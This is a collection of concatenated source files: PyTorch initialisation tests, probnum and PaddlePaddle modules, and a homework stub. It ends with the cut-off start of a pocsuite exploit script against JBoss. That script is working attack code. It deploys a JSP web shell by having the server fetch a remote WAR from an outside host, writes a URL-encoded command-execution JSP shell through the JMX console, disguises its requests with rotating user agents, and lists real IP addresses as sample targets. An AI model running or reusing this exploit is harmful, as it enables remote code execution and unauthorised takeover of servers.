res) assert torch.all(model[2].bias == res) def test_uniforminit(): """"test UniformInit class.""" model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Linear(1, 2)) func = UniformInit(a=1, b=1, bias=2, layer=['Conv2d', 'Linear']) func(model) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 1.)) assert torch.equal(model[2].weight, torch.full(model[2].weight.shape, 1.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 2.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 2.)) func = UniformInit(a=100, b=100, layer=['Conv2d', 'Linear'], bias=10) func(model) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 100.)) assert torch.equal(model[2].weight, torch.full(model[2].weight.shape, 100.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 10.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 10.)) # test layer key with base class name model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Conv1d(1, 2, 1)) func = UniformInit(a=100, b=100, bias_prob=0.01, layer='_ConvNd') res = bias_init_with_prob(0.01) func(model) assert torch.all(model[0].weight == 100.) assert torch.all(model[2].weight == 100.) assert torch.all(model[0].bias == res) assert torch.all(model[2].bias == res) def test_kaiminginit(): """test KaimingInit class.""" model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Linear(1, 2)) func = KaimingInit(bias=0.1, layer='Conv2d') func(model) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 0.1)) assert not torch.equal(model[2].bias, torch.full(model[2].bias.shape, 0.1)) func = KaimingInit(a=100, bias=10, layer=['Conv2d', 'Linear']) constant_func = ConstantInit(val=0, bias=0, layer=['Conv2d', 'Linear']) model.apply(constant_func) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 0.)) assert torch.equal(model[2].weight, torch.full(model[2].weight.shape, 0.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 0.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 0.)) func(model) assert not torch.equal(model[0].weight, torch.full(model[0].weight.shape, 0.)) assert not torch.equal(model[2].weight, torch.full(model[2].weight.shape, 0.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 10.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 10.)) # test layer key with base class name model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Conv1d(1, 2, 1)) func = KaimingInit(bias=0.1, layer='_ConvNd') func(model) assert torch.all(model[0].bias == 0.1) assert torch.all(model[2].bias == 0.1) func = KaimingInit(a=100, bias=10, layer='_ConvNd') constant_func = ConstantInit(val=0, bias=0, layer='_ConvNd') model.apply(constant_func) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 0.)) assert torch.equal(model[2].weight, torch.full(model[2].weight.shape, 0.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 0.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 0.)) func(model) assert not torch.equal(model[0].weight, torch.full(model[0].weight.shape, 0.)) assert not torch.equal(model[2].weight, torch.full(model[2].weight.shape, 0.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 10.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 10.)) def test_caffe2xavierinit(): """test Caffe2XavierInit.""" model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Linear(1, 2)) func = Caffe2XavierInit(bias=0.1, layer='Conv2d') func(model) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 0.1)) assert not torch.equal(model[2].bias, torch.full(model[2].bias.shape, 0.1)) class FooModule(nn.Module): def __init__(self): super().__init__() self.linear = nn.Linear(1, 2) self.conv2d = nn.Conv2d(3, 1, 3) self.conv2d_2 = nn.Conv2d(3, 2, 3) def test_pretrainedinit(): """test PretrainedInit class.""" modelA = FooModule() constant_func = ConstantInit(val=1, bias=2, layer=['Conv2d', 'Linear']) modelA.apply(constant_func) modelB = FooModule() funcB = PretrainedInit(checkpoint='modelA.pth') modelC = nn.Linear(1, 2) funcC = PretrainedInit(checkpoint='modelA.pth', prefix='linear.') with TemporaryDirectory(): torch.save(modelA.state_dict(), 'modelA.pth') funcB(modelB) assert torch.equal(modelB.linear.weight, torch.full(modelB.linear.weight.shape, 1.)) assert torch.equal(modelB.linear.bias, torch.full(modelB.linear.bias.shape, 2.)) assert torch.equal(modelB.conv2d.weight, torch.full(modelB.conv2d.weight.shape, 1.)) assert torch.equal(modelB.conv2d.bias, torch.full(modelB.conv2d.bias.shape, 2.)) assert torch.equal(modelB.conv2d_2.weight, torch.full(modelB.conv2d_2.weight.shape, 1.)) assert torch.equal(modelB.conv2d_2.bias, torch.full(modelB.conv2d_2.bias.shape, 2.)) funcC(modelC) assert torch.equal(modelC.weight, torch.full(modelC.weight.shape, 1.)) assert torch.equal(modelC.bias, torch.full(modelC.bias.shape, 2.)) def test_initialize(): model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Linear(1, 2)) foonet = FooModule() # test layer key init_cfg = dict(type='Constant', layer=['Conv2d', 'Linear'], val=1, bias=2) initialize(model, init_cfg) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 1.)) assert torch.equal(model[2].weight, torch.full(model[2].weight.shape, 1.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 2.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 2.)) assert init_cfg == dict( type='Constant', layer=['Conv2d', 'Linear'], val=1, bias=2) # test init_cfg with list type init_cfg = [ dict(type='Constant', layer='Conv2d', val=1, bias=2), dict(type='Constant', layer='Linear', val=3, bias=4) ] initialize(model, init_cfg) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 1.)) assert torch.equal(model[2].weight, torch.full(model[2].weight.shape, 3.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 2.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 4.)) assert init_cfg == [ dict(type='Constant', layer='Conv2d', val=1, bias=2), dict(type='Constant', layer='Linear', val=3, bias=4) ] # test layer key and override key init_cfg = dict( type='Constant', val=1, bias=2, layer=['Conv2d', 'Linear'], override=dict(type='Constant', name='conv2d_2', val=3, bias=4)) initialize(foonet, init_cfg) assert torch.equal(foonet.linear.weight, torch.full(foonet.linear.weight.shape, 1.)) assert torch.equal(foonet.linear.bias, torch.full(foonet.linear.bias.shape, 2.)) assert torch.equal(foonet.conv2d.weight, torch.full(foonet.conv2d.weight.shape, 1.)) assert torch.equal(foonet.conv2d.bias, torch.full(foonet.conv2d.bias.shape, 2.)) assert torch.equal(foonet.conv2d_2.weight, torch.full(foonet.conv2d_2.weight.shape, 3.)) assert torch.equal(foonet.conv2d_2.bias, torch.full(foonet.conv2d_2.bias.shape, 4.)) assert init_cfg == dict( type='Constant', val=1, bias=2, layer=['Conv2d', 'Linear'], override=dict(type='Constant', name='conv2d_2', val=3, bias=4)) # test override key init_cfg = dict( type='Constant', val=5, bias=6, override=dict(name='conv2d_2')) initialize(foonet, init_cfg) assert not torch.equal(foonet.linear.weight, torch.full(foonet.linear.weight.shape, 5.)) assert not torch.equal(foonet.linear.bias, torch.full(foonet.linear.bias.shape, 6.)) assert not torch.equal(foonet.conv2d.weight, torch.full(foonet.conv2d.weight.shape, 5.)) assert not torch.equal(foonet.conv2d.bias, torch.full(foonet.conv2d.bias.shape, 6.)) assert torch.equal(foonet.conv2d_2.weight, torch.full(foonet.conv2d_2.weight.shape, 5.)) assert torch.equal(foonet.conv2d_2.bias, torch.full(foonet.conv2d_2.bias.shape, 6.)) assert init_cfg == dict( type='Constant', val=5, bias=6, override=dict(name='conv2d_2')) init_cfg = dict( type='Pretrained', checkpoint='modelA.pth', override=dict(type='Constant', name='conv2d_2', val=3, bias=4)) modelA = FooModule() constant_func = ConstantInit(val=1, bias=2, layer=['Conv2d', 'Linear']) modelA.apply(constant_func) with TemporaryDirectory(): torch.save(modelA.state_dict(), 'modelA.pth') initialize(foonet, init_cfg) assert torch.equal(foonet.linear.weight, torch.full(foonet.linear.weight.shape, 1.)) assert torch.equal(foonet.linear.bias, torch.full(foonet.linear.bias.shape, 2.)) assert torch.equal(foonet.conv2d.weight, torch.full(foonet.conv2d.weight.shape, 1.)) assert torch.equal(foonet.conv2d.bias, torch.full(foonet.conv2d.bias.shape, 2.)) assert torch.equal(foonet.conv2d_2.weight, torch.full(foonet.conv2d_2.weight.shape, 3.)) assert torch.equal(foonet.conv2d_2.bias, torch.full(foonet.conv2d_2.bias.shape, 4.)) assert init_cfg == dict( type='Pretrained', checkpoint='modelA.pth', override=dict(type='Constant', name='conv2d_2', val=3, bias=4)) # test init_cfg type with pytest.raises(TypeError): init_cfg = 'init_cfg' initialize(foonet, init_cfg) # test override value type with pytest.raises(TypeError): init_cfg = dict( type='Constant', val=1, bias=2, layer=['Conv2d', 'Linear'], override='conv') initialize(foonet, init_cfg) # test override name with pytest.raises(RuntimeError): init_cfg = dict( type='Constant', val=1, bias=2, layer=['Conv2d', 'Linear'], override=dict(type='Constant', name='conv2d_3', val=3, bias=4)) initialize(foonet, init_cfg) # test list override name with pytest.raises(RuntimeError): init_cfg = dict( type='Constant', val=1, bias=2, layer=['Conv2d', 'Linear'], override=[ dict(type='Constant', name='conv2d', val=3, bias=4), dict(type='Constant', name='conv2d_3', val=5, bias=6) ]) initialize(foonet, init_cfg) # test override with args except type key with pytest.raises(ValueError): init_cfg = dict( type='Constant', val=1, bias=2, override=dict(name='conv2d_2', val=3, bias=4)) initialize(foonet, init_cfg) # test override without name with pytest.raises(ValueError): init_cfg = dict( type='Constant', val=1, bias=2, override=dict(type='Constant', val=3, bias=4)) initialize(foonet, init_cfg)

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Python

src/probnum/filtsmooth/particlefiltsmooth/__init__.py

NinaEffenberger/probnum

595f55f9f235fd0396d02b9a6f828aba2383dceb

[ "MIT" ]

4

2020-12-07T11:56:48.000Z

2021-04-16T14:50:40.000Z

src/probnum/filtsmooth/particlefiltsmooth/__init__.py

NinaEffenberger/probnum

595f55f9f235fd0396d02b9a6f828aba2383dceb

[ "MIT" ]

42

2021-04-12T08:11:41.000Z

2022-03-28T00:21:55.000Z

src/probnum/filtsmooth/particlefiltsmooth/__init__.py

NinaEffenberger/probnum

595f55f9f235fd0396d02b9a6f828aba2383dceb

[ "MIT" ]

null

"""Particle filtering and smoothing.""" from ._particle_filter import ParticleFilter, effective_number_of_events from ._particle_filter_posterior import ParticleFilterPosterior

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Python

python/paddle/incubate/tensor/math.py

L-Net-1992/Paddle

4d0ca02ba56760b456f3d4b42a538555b9b6c307

[ "Apache-2.0" ]

11

2016-08-29T07:43:26.000Z

2016-08-29T07:51:24.000Z

python/paddle/incubate/tensor/math.py

L-Net-1992/Paddle

4d0ca02ba56760b456f3d4b42a538555b9b6c307

[ "Apache-2.0" ]

null

python/paddle/incubate/tensor/math.py

L-Net-1992/Paddle

4d0ca02ba56760b456f3d4b42a538555b9b6c307

[ "Apache-2.0" ]

1

2021-09-24T11:23:36.000Z

# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from paddle.fluid.layer_helper import LayerHelper, _non_static_mode from paddle.fluid.data_feeder import check_variable_and_dtype from paddle import _C_ops from paddle.fluid.framework import _in_legacy_dygraph, in_dygraph_mode __all__ = [] def segment_sum(data, segment_ids, name=None): r""" Segment Sum Operator. This operator sums the elements of input `data` which with the same index in `segment_ids`. It computes a tensor such that $out_i = \\sum_{j} data_{j}$ where sum is over j such that `segment_ids[j] == i`. Args: data (Tensor): A tensor, available data type float32, float64, int32, int64. segment_ids (Tensor): A 1-D tensor, which have the same size with the first dimension of input data. Available data type is int32, int64. name (str, optional): Name for the operation (optional, default is None). For more information, please refer to :ref:`api_guide_Name`. Returns: output (Tensor): the reduced result. Examples: .. code-block:: python import paddle data = paddle.to_tensor([[1, 2, 3], [3, 2, 1], [4, 5, 6]], dtype='float32') segment_ids = paddle.to_tensor([0, 0, 1], dtype='int32') out = paddle.incubate.segment_sum(data, segment_ids) #Outputs: [[4., 4., 4.], [4., 5., 6.]] """ if in_dygraph_mode(): return _C_ops.final_state_segment_pool(data, segment_ids, "SUM")[0] if _in_legacy_dygraph(): out, tmp = _C_ops.segment_pool(data, segment_ids, 'pooltype', "SUM") return out check_variable_and_dtype(data, "X", ("float32", "float64", "int32", "int64"), "segment_pool") check_variable_and_dtype(segment_ids, "SegmentIds", ("int32", "int64"), "segment_pool") helper = LayerHelper("segment_sum", **locals()) out = helper.create_variable_for_type_inference(dtype=data.dtype) summed_ids = helper.create_variable_for_type_inference(dtype=data.dtype) helper.append_op(type="segment_pool", inputs={ "X": data, "SegmentIds": segment_ids }, outputs={ "Out": out, "SummedIds": summed_ids }, attrs={"pooltype": "SUM"}) return out def segment_mean(data, segment_ids, name=None): r""" Segment mean Operator. Ihis operator calculate the mean value of input `data` which with the same index in `segment_ids`. It computes a tensor such that $out_i = \\frac{1}{n_i} \\sum_{j} data[j]$ where sum is over j such that 'segment_ids[j] == i' and $n_i$ is the number of all index 'segment_ids[j] == i'. Args: data (tensor): a tensor, available data type float32, float64, int32, int64. segment_ids (tensor): a 1-d tensor, which have the same size with the first dimension of input data. available data type is int32, int64. name (str, optional): Name for the operation (optional, default is None). For more information, please refer to :ref:`api_guide_Name`. Returns: output (Tensor): the reduced result. Examples: .. code-block:: python import paddle data = paddle.to_tensor([[1, 2, 3], [3, 2, 1], [4, 5, 6]], dtype='float32') segment_ids = paddle.to_tensor([0, 0, 1], dtype='int32') out = paddle.incubate.segment_mean(data, segment_ids) #Outputs: [[2., 2., 2.], [4., 5., 6.]] """ if in_dygraph_mode(): return _C_ops.final_state_segment_pool(data, segment_ids, "MEAN")[0] if _non_static_mode(): out, tmp = _C_ops.segment_pool(data, segment_ids, 'pooltype', "MEAN") return out check_variable_and_dtype(data, "X", ("float32", "float64", "int32", "int64"), "segment_pool") check_variable_and_dtype(segment_ids, "SegmentIds", ("int32", "int64"), "segment_pool") helper = LayerHelper("segment_mean", **locals()) out = helper.create_variable_for_type_inference(dtype=data.dtype) summed_ids = helper.create_variable_for_type_inference(dtype=data.dtype) helper.append_op(type="segment_pool", inputs={ "X": data, "SegmentIds": segment_ids }, outputs={ "Out": out, "SummedIds": summed_ids }, attrs={"pooltype": "MEAN"}) return out def segment_min(data, segment_ids, name=None): r""" Segment min operator. This operator calculate the minimum elements of input `data` which with the same index in `segment_ids`. It computes a tensor such that $out_i = \\min_{j} data_{j}$ where min is over j such that `segment_ids[j] == i`. Args: data (tensor): a tensor, available data type float32, float64, int32, int64. segment_ids (tensor): a 1-d tensor, which have the same size with the first dimension of input data. available data type is int32, int64. name (str, optional): Name for the operation (optional, default is None). For more information, please refer to :ref:`api_guide_Name`. Returns: output (Tensor): the reduced result. Examples: .. code-block:: python import paddle data = paddle.to_tensor([[1, 2, 3], [3, 2, 1], [4, 5, 6]], dtype='float32') segment_ids = paddle.to_tensor([0, 0, 1], dtype='int32') out = paddle.incubate.segment_min(data, segment_ids) #Outputs: [[1., 2., 1.], [4., 5., 6.]] """ if in_dygraph_mode(): return _C_ops.final_state_segment_pool(data, segment_ids, "MIN")[0] if _non_static_mode(): out, tmp = _C_ops.segment_pool(data, segment_ids, 'pooltype', "MIN") return out check_variable_and_dtype(data, "X", ("float32", "float64", "int32", "int64"), "segment_pool") check_variable_and_dtype(segment_ids, "SegmentIds", ("int32", "int64"), "segment_pool") helper = LayerHelper("segment_min", **locals()) out = helper.create_variable_for_type_inference(dtype=data.dtype) summed_ids = helper.create_variable_for_type_inference(dtype=data.dtype) helper.append_op(type="segment_pool", inputs={ "X": data, "SegmentIds": segment_ids }, outputs={ "Out": out, "SummedIds": summed_ids }, attrs={"pooltype": "MIN"}) return out def segment_max(data, segment_ids, name=None): r""" Segment max operator. This operator calculate the maximum elements of input `data` which with the same index in `segment_ids`. It computes a tensor such that $out_i = \\max_{j} data_{j}$ where max is over j such that `segment_ids[j] == i`. Args: data (tensor): a tensor, available data type float32, float64, int32, int64. segment_ids (tensor): a 1-d tensor, which have the same size with the first dimension of input data. available data type is int32, int64. name (str, optional): Name for the operation (optional, default is None). For more information, please refer to :ref:`api_guide_Name`. Returns: output (Tensor): the reduced result. Examples: .. code-block:: python import paddle data = paddle.to_tensor([[1, 2, 3], [3, 2, 1], [4, 5, 6]], dtype='float32') segment_ids = paddle.to_tensor([0, 0, 1], dtype='int32') out = paddle.incubate.segment_max(data, segment_ids) #Outputs: [[3., 2., 3.], [4., 5., 6.]] """ if in_dygraph_mode(): out, tmp = _C_ops.final_state_segment_pool(data, segment_ids, "MAX") return out if _non_static_mode(): out, tmp = _C_ops.segment_pool(data, segment_ids, 'pooltype', "MAX") return out check_variable_and_dtype(data, "X", ("float32", "float64", "int32", "int64"), "segment_pool") check_variable_and_dtype(segment_ids, "SegmentIds", ("int32", "int64"), "segment_pool") helper = LayerHelper("segment_max", **locals()) out = helper.create_variable_for_type_inference(dtype=data.dtype) summed_ids = helper.create_variable_for_type_inference(dtype=data.dtype) helper.append_op(type="segment_pool", inputs={ "X": data, "SegmentIds": segment_ids }, outputs={ "Out": out, "SummedIds": summed_ids }, attrs={"pooltype": "MAX"}) return out

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10,123

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0.181818

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0

1

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null

0

6

6b170368577f2d8f144661035de86847f9cb090f

30

py

Python

Packet_for_lesson5/__init__.py

IslamRaslambekov/HomeWork

1adb97cee4ada46fbcca3fa6c575cf43a4133ef2

[ "MIT" ]

null

Packet_for_lesson5/__init__.py

IslamRaslambekov/HomeWork

1adb97cee4ada46fbcca3fa6c575cf43a4133ef2

[ "MIT" ]

null

Packet_for_lesson5/__init__.py

IslamRaslambekov/HomeWork

1adb97cee4ada46fbcca3fa6c575cf43a4133ef2

[ "MIT" ]

null

from .division_master import *

30

0.833333

4

30

6

1

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30

1

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true

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6

6b1cb8e6d34ea0ae7366cef4c9936340e6d68cf9

27,158

py

Python

vul/13-JBoss-serialization-getshell.py

zx273983653/vulscan

787397e267c4e6469522ee0abe55b3e98f968d4a

[ "MIT" ]

582

2019-02-23T09:23:33.000Z

2022-03-31T04:42:08.000Z

vul/13-JBoss-serialization-getshell.py

git-wsf/vulscan

112f8d6104daecfaaad579f73029a26d56aaa9b3

[ "MIT" ]

6

2019-03-20T10:37:48.000Z

2020-03-10T06:20:07.000Z

vul/13-JBoss-serialization-getshell.py

git-wsf/vulscan

112f8d6104daecfaaad579f73029a26d56aaa9b3

[ "MIT" ]

183

2019-02-23T06:00:18.000Z

2022-03-20T02:17:57.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- """ Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) See the file 'docs/COPYING' for copying permission """ #命令行 from pocsuite import pocsuite_cli #验证模块 from pocsuite import pocsuite_verify #攻击模块 from pocsuite import pocsuite_attack #控制台模式 from pocsuite import pocsuite_console from pocsuite.api.request import req from pocsuite.api.poc import register from pocsuite.api.poc import Output, POCBase """ JBoss 三种POC漏洞检测 author:https://github.com/joaomatosf/jexboss """ from sys import exit, version_info from time import sleep from random import randint try: from urllib.parse import urlencode except ImportError: from urllib import urlencode try: from urllib3 import disable_warnings, PoolManager from urllib3.util.timeout import Timeout except ImportError: ver = version_info[0] if version_info[0] >= 3 else "" raise ("\n * Package urllib3 not installed. Please install the package urllib3 before continue.\n" + " Example: \n" + " # apt-get install python%s-pip ; easy_install%s urllib3\n" % (ver, ver)) from urllib3 import disable_warnings, PoolManager from urllib3.util.timeout import Timeout #忽略提示的警告信息 disable_warnings() #线程安全池 timeout = Timeout(connect=3.0, read=6.0) pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE') user_agents = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36", "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"] class JbossPOC(POCBase): vulID = '13' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0 version = '1' #默认为1 vulDate = '2017-06-29' #漏洞公开的时间,不知道就写今天 author = 'i@cdxy.me' # PoC作者的大名 createDate = '2017-06-29'# 编写 PoC 的日期 updateDate = '2017-06-29'# PoC 更新的时间,默认和编写时间一样 references = 'https://github.com/Xyntax/POC-T'# 漏洞地址来源,0day不用写 name = 'JBoss serialization getshell'# PoC 名称 appPowerLink = 'http://www.jboss.org/'# 漏洞厂商主页地址 appName = 'JBoss'# 漏洞应用名称 appVersion = 'www.seebug.org/vuldb/ssvid-89723'# 漏洞影响版本 vulType = 'code-exec'#漏洞类型,类型参考见漏洞类型规范表 desc = ''' Jboss 反序列化漏洞 ''' # 漏洞简要描述 samples = ["1.197.56.123:8087","50.200.187.230:8087",]# 测试样列,就是用 PoC 测试成功的网站 install_requires = [] # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写 cvss = u"严重" #严重,高危,中危,低危 def get_successfully(self,url, path): """ Test if a GET to a URL is successful :param url: The base URL :param path: The URL path :return: The HTTP status code """ sleep(5) headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive", "User-Agent": user_agents[randint(0, len(user_agents) - 1)]} r = pool.request('GET', url + path, redirect=False, headers=headers, timeout=3) result = r.status if result == 404: sleep(7) r = pool.request('GET', url + path, redirect=False, headers=headers, timeout=3) result = r.status return result def exploit_jmx_console_main_deploy(self,url): """ Exploit MainDeployer to deploy a JSP shell. Does not work in JBoss 5 (bug in JBoss 5). /jmx-console/HtmlAdaptor :param url: The url to exploit :return: The HTTP status code """ if not 'http' in url[:4]: url = "http://" + url jsp = "http://www.joaomatosf.com/rnp/jexws.war" payload = ("/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=" "MainDeployer&methodIndex=19&arg0=" + jsp) headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive", "User-Agent": user_agents[randint(0, len(user_agents) - 1)]} pool.request('HEAD', url + payload, redirect=False, headers=headers, timeout=3) return self.get_successfully(url, "/jexws/jexws.jsp") def exploit_jmx_console_file_repository(self,url): """ Exploit DeploymentFileRepository to deploy a JSP shell Tested and working in JBoss 4, 5. Does not work in JBoss 6. /jmx-console/HtmlAdaptor :param url: The URL to exploit :return: The HTTP status code """ jsp = ("%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75" "%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%2c%20%6a%61%76%61%2e%6e" "%65%74%2e%2a%22%20%70%61%67%65%45%6e%63%6f%64%69%6e%67%3d%22%55%54%46" "%2d%38%22%25%3e%3c%70%72%65%3e%3c%25%69%66%20%28%72%65%71%75%65%73%74" "%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%70%70%70%22%29%20%21%3d" "%20%6e%75%6c%6c%29%20%7b%20%53%74%72%69%6e%67%20%77%72%69%74%65%70%65" "%72%6d%69%73%73%69%6f%6e%20%3d%20%28%6e%65%77%20%44%61%74%65%28%29%2e" "%74%6f%53%74%72%69%6e%67%28%29%2e%73%70%6c%69%74%28%22%3a%22%29%5b%30" "%5d%2b%22%68%2e%6c%6f%67%22%29%2e%72%65%70%6c%61%63%65%41%6c%6c%28%22" "%20%22%2c%20%22%2d%22%29%3b%20%53%74%72%69%6e%67%20%73%68%5b%5d%20%3d" "%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22" "%70%70%70%22%29%2e%73%70%6c%69%74%28%22%20%22%29%3b%20%63%68%65%63%6b" "%2e%73%65%74%52%65%71%75%65%73%74%50%72%6f%70%65%72%74%79%28%22%55%73" "%65%72%2d%41%67%65%6e%74%22%2c%20%72%65%71%75%65%73%74%2e%67%65%74%48" "%65%61%64%65%72%28%22%48%6f%73%74%22%29%2b%22%3c%2d%22%2b%72%65%71%75" "%65%73%74%2e%67%65%74%52%65%6d%6f%74%65%41%64%64%72%28%29%29%3b%20%69" "%66%20%28%21%6e%65%77%20%46%69%6c%65%28%22%63%68%65%63%6b%5f%22%2b%77" "%72%69%74%65%70%65%72%6d%69%73%73%69%6f%6e%29%2e%65%78%69%73%74%73%28" "%29%29%7b%20%50%72%69%6e%74%57%72%69%74%65%72%20%77%72%69%74%65%72%20" "%3d%20%6e%65%77%20%50%72%69%6e%74%57%72%69%74%65%72%28%22%63%68%65%63" "%6b%5f%22%2b%77%72%69%74%65%70%65%72%6d%69%73%73%69%6f%6e%29%3b%20%63" "%68%65%63%6b%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20" "%77%72%69%74%65%72%2e%63%6c%6f%73%65%28%29%3b%20%7d%20%65%6c%73%65%20" "%69%66%20%28%73%68%5b%30%5d%2e%63%6f%6e%74%61%69%6e%73%28%22%69%64%22" "%29%20%7c%7c%20%73%68%5b%30%5d%2e%63%6f%6e%74%61%69%6e%73%28%22%69%70" "%63%6f%6e%66%69%67%22%29%29%20%63%68%65%63%6b%2e%67%65%74%49%6e%70%75" "%74%53%74%72%65%61%6d%28%29%3b%20%74%72%79%20%7b%20%50%72%6f%63%65%73" "%73%20%70%3b%20%69%66%20%28%53%79%73%74%65%6d%2e%67%65%74%50%72%6f%70" "%65%72%74%79%28%22%6f%73%2e%6e%61%6d%65%22%29%2e%74%6f%4c%6f%77%65%72" "%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%22%77%69%6e%22%29%20%3e" "%20%30%29%7b%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e" "%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%6d%64%2e%65%78%65%20%2f%63" "%20%22%2b%73%68%29%3b%20%7d%20%65%6c%73%65%20%7b%70%20%3d%20%52%75%6e" "%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28" "%73%68%29%3b%7d%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%64%20" "%3d%20%6e%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65" "%77%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%70%2e%67" "%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%20%53%74%72%69" "%6e%67%20%64%69%73%72%20%3d%20%64%2e%72%65%61%64%4c%69%6e%65%28%29%3b" "%20%77%68%69%6c%65%20%28%64%69%73%72%20%21%3d%20%6e%75%6c%6c%29%20%7b" "%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73" "%72%20%3d%20%64%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%63%61" "%74%63%68%28%45%78%63%65%70%74%69%6f%6e%20%65%29%20%7b%6f%75%74%2e%70" "%72%69%6e%74%6c%6e%28%22%55%6e%6b%6e%6f%77%6e%20%63%6f%6d%6d%61%6e%64" "%2e%22%29%3b%7d%7d%25%3e") payload = ("/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=" "DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=" "jexws.war&argType=java.lang.String&arg1=jexws&argType=java.lang.St" "ring&arg2=.jsp&argType=java.lang.String&arg3=" + jsp + "&argType=boolean&arg4=True") headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive", "User-Agent": user_agents[randint(0, len(user_agents) - 1)]} pool.request('HEAD', url + payload, redirect=False, headers=headers, timeout=3) return self.get_successfully(url, "/jexws/jexws.jsp") def exploit_jmx_invoker_file_repository(self,url, version): """ Exploits the JMX invoker tested and works in JBoss 4, 5 MainDeploy, shell in data # /invoker/JMXInvokerServlet :param url: The URL to exploit :return: """ payload = 